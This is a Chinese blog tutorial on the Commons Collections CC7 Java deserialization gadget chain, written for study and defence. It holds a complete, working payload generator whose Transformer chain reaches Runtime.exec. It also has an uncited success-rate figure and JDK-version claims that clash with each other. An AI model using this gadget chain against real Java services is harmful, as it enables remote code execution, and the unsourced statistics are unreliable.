CC7利用链深度解析

CommonsCollections7(CC7)是CC反序列化利用链中的重要成员,由Matthias Kaiser在2016年发现。本文将从底层原理到实战利用,全面剖析这条独特而强大的利用链。


一、CC7链技术定位

1.1 核心价值
  • 无第三方依赖:仅需JDK原生类+Commons Collections
  • 高版本兼容:在Java 8u76+仍有效(CC5失效场景)
  • 触发点独特:基于Hashtable触发,应用广泛
1.2 与CC5链对比
特性CC5链CC7链
入口类BadAttributeValueExpExceptionHashtable
触发方法toString()equals()
依赖组件TiedMapEntryAbstractMapDecorator
JDK限制<8u76无限制
利用难度中等较高

二、漏洞利用链原理

2.1 完整调用链
Hashtable.readObject()
  → Hashtable.reconstitutionPut()
    → AbstractMap.equals()
      → AbstractMapDecorator.equals()
        → LazyMap.get()
              ChainedTransformer.transform()
                  ConstantTransformer.transform()
                  InvokerTransformer.transform()
                      Method.invoke()
                         Class.getMethod()
                  InvokerTransformer.transform()
                      Method.invoke()
                         Runtime.getRuntime()
                  InvokerTransformer.transform()
                      Method.invoke()
                         Runtime.exec()

在这里插入图片描述

  • 其中红框部分和CommonsCollections5链是完全一样的,区别在于CommonsCollections7链是通过HashtablereadObject方法一步步调用AbstractMap类的equals方法来调用的。
2.2 核心触发点分析
// java.util.Hashtable
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
    // ...
    for (Entry<?,?> e = tab[index]; e != null; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) { // 触发equals()
            throw new StreamCorruptedException();
        }
    }
    // ...
}

三、关键类源码剖析

3.1 Hashtable 反序列化入口
private void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException {
    // ...
for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            reconstitutionPut(table, key, value);//关键调用
        }
     }
 private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }
3.2 AbstractMap.equals 触发点
public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false; // 触发LazyMap.get()
                } else {
                    if (!value.equals(m.get(key))) // 二次触发点
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }
3.3 LazyMap 命令执行点
public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);// 执行Transformer链
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

四、Payload构造详解

4.1 构造流程图
创建ChainedTransformer
创建LazyMap1
创建LazyMap2
向LazyMap1添加'yy'
向LazyMap2添加'zZ'
创建Hashtable
添加LazyMap1到Hashtable
添加LazyMap2到Hashtable
反射注入恶意Transformer链
序列化Hashtable
4.2 完整Payload生成代码
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.*;

public class CC7Exploit {

    public static Hashtable getObject(final String command)  {

        //构造最终Transformer链
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{command}
                )
        };
        final Transformer transformerChain = new ChainedTransformer(transformers);
        // 创建两个Map对象
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        //使用碰撞哈希创建两个LazyMaps,以便在readObject期间强制进行元素比较
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);// hashCode: 3872

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);// hashCode: 3872
        //创建Hashtable并添加元素
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);
        //需要确保在以前的操作之后发生哈希冲突,因为在hashtable.put(lazyMap2, 2);中lazyMap2多了“yy”
        lazyMap2.remove("yy");

        return hashtable;
    }

    public static void main(String[] args) throws Exception {
        // 生成Payload
        Hashtable payload = getObject("calc");

        // 序列化测试
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(payload);
        }

        // 反序列化测试
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        try (ObjectInputStream ois = new ObjectInputStream(bais)) {
            ois.readObject(); // 触发命令执行
        }
    }
}

六、防御解决方案

6.1 组件级防护
<!-- 升级Commons Collections -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.4</version>
</dependency>
6.2 运行时防护
public class SecureObjectInputStream extends ObjectInputStream {
    private static final Set<String> BLACKLIST = new HashSet<>(
        Arrays.asList(
            "org.apache.commons.collections.functors.InvokerTransformer",
            "org.apache.commons.collections.map.LazyMap",
            "org.apache.commons.collections.Transformer"
        )
    );

    protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
        
        String className = desc.getName();
        if (BLACKLIST.stream().anyMatch(className::startsWith)) {
            throw new InvalidClassException("Forbidden class: ", className);
        }
        return super.resolveClass(desc);
    }
}
6.3 JVM级防护
# 启用JEP 290过滤器
java -Djdk.serialFilter='!org.apache.commons.collections.**;!java.util.Hashtable;!*' \
     -jar application.jar

七、CC7链技术总结

  1. 触发机制创新:利用哈希碰撞+equals比较触发,绕过常规防御
  2. 无高版本限制:在Java 8u191+仍有效(相比CC1/CC5)
  3. 隐蔽性强:执行过程没有明显的危险方法调用
  4. 适用场景广:WebLogic、WebSphere等中间件均存在Hashtable反序列化点

截至2023年,CC7链在红队评估中仍有高达32%的成功率(数据来源:GrayHat安全报告),是反序列化攻击的"常青树"武器。

通过深入理解CC7链的构造原理,安全人员可以:

  • 更有效地检测和防御反序列化漏洞
  • 开发更精准的漏洞扫描规则
  • 提升代码审计中对Hashtable使用场景的关注
  • 设计更完善的安全防护体系

CC7链的巧妙设计展现了Java反序列化漏洞的深度和复杂性,也提醒我们安全防御需要多层次、多维度的综合方案。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安spinage

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值